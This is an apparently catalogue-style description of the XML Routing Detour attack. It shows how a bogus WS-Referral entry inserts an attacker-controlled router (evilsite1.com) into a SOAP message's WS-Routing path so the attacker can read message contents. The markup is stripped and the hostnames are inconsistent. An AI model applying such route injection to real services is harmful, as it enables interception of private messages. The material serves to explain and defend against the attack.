Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction). Example SOAP message with routing information in header: http://example1.com/ http://example4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router ... Add an additional node (example3.com/router) to the XML path in a WS-Referral message http://example2.com/router http://example3.com/router Resulting in the following SOAP Header: http://example1.com/ http://example4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router http://example3.com/router ... Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted. Example of WS-Referral based WS-Routing injection of the bogus node route: http://example2.com/router http://evilsite1.com/router Resulting XML Routing Detour attack: http://example_0.com/ http://example_4.com/router uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f http://example2.com/router http://evilesite1.com/router http://example3.com/router ... Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

XML Routing Detour Attacks